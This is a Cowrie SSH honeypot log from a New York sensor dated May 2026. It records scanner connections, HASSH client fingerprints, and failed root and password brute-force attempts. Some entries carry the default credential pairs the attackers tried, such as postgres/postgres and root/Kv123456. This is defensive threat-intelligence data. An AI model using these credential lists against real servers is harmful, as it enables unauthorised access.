{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:13.352485Z","src_ip":"94.26.106.229","session":"5f669248b0c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.266261Z","src_ip":"94.26.106.229","session":"9f21b16ab0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57440,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdffe82c9986","protocol":"ssh","message":"New connection: 45.156.87.204:57440 (159.203.135.109:22) [session: bdffe82c9986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.454347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.458201Z","src_ip":"45.156.87.204","session":"bdffe82c9986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.540452Z","src_ip":"45.156.87.204","session":"bdffe82c9986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42530,"dst_ip":"159.203.135.109","dst_port":22,"session":"c45d1d682fa6","protocol":"ssh","message":"New connection: 94.26.106.229:42530 (159.203.135.109:22) [session: c45d1d682fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.762716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.767274Z","src_ip":"94.26.106.229","session":"c45d1d682fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.788679Z","src_ip":"45.156.87.204","session":"bdffe82c9986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:14.851420Z","src_ip":"94.26.106.229","session":"c45d1d682fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"123","message":"login attempt [ams/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:15.109241Z","src_ip":"94.26.106.229","session":"c45d1d682fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.86.117","src_port":49950,"dst_ip":"159.203.135.109","dst_port":22,"session":"b52878f4de50","protocol":"ssh","message":"New connection: 43.128.86.117:49950 (159.203.135.109:22) [session: b52878f4de50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:15.567118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:15.571862Z","src_ip":"43.128.86.117","session":"b52878f4de50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:15.821706Z","src_ip":"43.128.86.117","session":"b52878f4de50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:15.900609Z","src_ip":"45.156.87.204","session":"bdffe82c9986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:16.196281Z","src_ip":"94.26.106.229","session":"c45d1d682fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kv123456","message":"login attempt [root/Kv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:16.835022Z","src_ip":"43.128.86.117","session":"b52878f4de50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42534,"dst_ip":"159.203.135.109","dst_port":22,"session":"6959520e8db1","protocol":"ssh","message":"New connection: 94.26.106.229:42534 (159.203.135.109:22) [session: 6959520e8db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:16.882151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:16.887101Z","src_ip":"94.26.106.229","session":"6959520e8db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:16.975522Z","src_ip":"94.26.106.229","session":"6959520e8db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"k","password":"k","message":"login attempt [k/k] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:17.241692Z","src_ip":"94.26.106.229","session":"6959520e8db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":57450,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ef9d5e9a1ef","protocol":"ssh","message":"New connection: 45.156.87.204:57450 (159.203.135.109:22) [session: 2ef9d5e9a1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:17.766068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:17.771499Z","src_ip":"45.156.87.204","session":"2ef9d5e9a1ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:17.854825Z","src_ip":"45.156.87.204","session":"2ef9d5e9a1ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.082990Z","src_ip":"43.128.86.117","session":"b52878f4de50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.184282Z","src_ip":"45.156.87.204","session":"2ef9d5e9a1ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.163.206.178","src_port":34088,"dst_ip":"10.17.0.5","dst_port":22,"session":"d32ed3463dbb","protocol":"ssh","message":"New connection: 89.163.206.178:34088 (10.17.0.5:22) [session: d32ed3463dbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.244076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.249501Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.339047Z","src_ip":"94.26.106.229","session":"6959520e8db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.345505Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:0b:2c:df:cf:5d:7b:27:8c:d4:08:00:8f:0d:97:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCEbWqVmix+IiN8UdVYMQ6Cabi50SAMOid7c1OsqCEWjoTdy5UD1P3YpiOBBGCU3IJPfq3c3sFr+xnqOxNXTFA6VM5IXrY6A+aZExtgj40Kg71DW9i+jAmRd6HtY3y7UEZ78cDLWVg/ywisXGmLU409COwtW+kcvIAOgkC2Vhk31UeXnrhNZh10hkFh55iziCp0/8Y3GONVAIGvaEkQuldoUEhHJz5AG6SF0rVdORSP0sFn85zDBSQM6cXwIy2CRDEiEcejpbfWRN2mf+bEv0C/jf/eDifGnu/5Dy91C6EpU3ta0F65/h9juq/TGmIbmI1EdmrYv4WglLKmfNY8cJMp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:0b:2c:df:cf:5d:7b:27:8c:d4:08:00:8f:0d:97:9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.801520Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:0b:2c:df:cf:5d:7b:27:8c:d4:08:00:8f:0d:97:9a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCEbWqVmix+IiN8UdVYMQ6Cabi50SAMOid7c1OsqCEWjoTdy5UD1P3YpiOBBGCU3IJPfq3c3sFr+xnqOxNXTFA6VM5IXrY6A+aZExtgj40Kg71DW9i+jAmRd6HtY3y7UEZ78cDLWVg/ywisXGmLU409COwtW+kcvIAOgkC2Vhk31UeXnrhNZh10hkFh55iziCp0/8Y3GONVAIGvaEkQuldoUEhHJz5AG6SF0rVdORSP0sFn85zDBSQM6cXwIy2CRDEiEcejpbfWRN2mf+bEv0C/jf/eDifGnu/5Dy91C6EpU3ta0F65/h9juq/TGmIbmI1EdmrYv4WglLKmfNY8cJMp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.805284Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:b6:33:06:7e:bc:35:50:06:f1:94:a8:1a:a1:05:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IbXrFCyqpKoS/v6SqHk9Fl+ZlOMOsgBgeI6P+s7lH+iZFBpL2eoaYEeNuxpctEhhyKYyB3obqadazQKLwoXGoeDYake3Ex7iPjVINRriX4KxaZmoKVW9qSTiF6W4dw3uywxV5xr45JpxpDaBGtw27jKKBa4zvD8f0Kot5l7mOczk9Fq1n36zXTuNQTpjBi0WMVLCQcYcNyWS+SsyZeVXruM11ciN0QIt9/6FJHLyGezB7APymOo/iVg/c8KKdO0ipwonHjEt0sR3sAS1Jq9mqF9yksSZZoY9uXrn+CXX5i8whQEtFnAbneegR5jb1bAELyNxQPRhnhUWPTw8r6Rl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:b6:33:06:7e:bc:35:50:06:f1:94:a8:1a:a1:05:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.901434Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:b6:33:06:7e:bc:35:50:06:f1:94:a8:1a:a1:05:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IbXrFCyqpKoS/v6SqHk9Fl+ZlOMOsgBgeI6P+s7lH+iZFBpL2eoaYEeNuxpctEhhyKYyB3obqadazQKLwoXGoeDYake3Ex7iPjVINRriX4KxaZmoKVW9qSTiF6W4dw3uywxV5xr45JpxpDaBGtw27jKKBa4zvD8f0Kot5l7mOczk9Fq1n36zXTuNQTpjBi0WMVLCQcYcNyWS+SsyZeVXruM11ciN0QIt9/6FJHLyGezB7APymOo/iVg/c8KKdO0ipwonHjEt0sR3sAS1Jq9mqF9yksSZZoY9uXrn+CXX5i8whQEtFnAbneegR5jb1bAELyNxQPRhnhUWPTw8r6Rl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:18.905273Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:cc:b3:43:51:6d:2c:8b:9d:8d:28:8a:2f:5c:52:b9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICnty5PYwS5VoACPeOeWSfz3S4Di7kGB0KtkKjZqe8qV","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint fe:cc:b3:43:51:6d:2c:8b:9d:8d:28:8a:2f:5c:52:b9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.004551Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:cc:b3:43:51:6d:2c:8b:9d:8d:28:8a:2f:5c:52:b9","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICnty5PYwS5VoACPeOeWSfz3S4Di7kGB0KtkKjZqe8qV","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.008950Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":42538,"dst_ip":"159.203.135.109","dst_port":22,"session":"009f3ec76c07","protocol":"ssh","message":"New connection: 94.26.106.229:42538 (159.203.135.109:22) [session: 009f3ec76c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.014792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.019231Z","src_ip":"94.26.106.229","session":"009f3ec76c07","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4b:8f:1b:e3:8a:7d:e4:ed:9f:80:17:ef:b8:52:0f:4b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFS/AVe/KODJ3YysXLWonlGt7V7NS1cCnJsTXmZht27V","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4b:8f:1b:e3:8a:7d:e4:ed:9f:80:17:ef:b8:52:0f:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.105296Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4b:8f:1b:e3:8a:7d:e4:ed:9f:80:17:ef:b8:52:0f:4b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFS/AVe/KODJ3YysXLWonlGt7V7NS1cCnJsTXmZht27V","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:07:19.108980Z","src_ip":"89.163.206.178","session":"d32ed3463dbb","protocol":"ssh"}
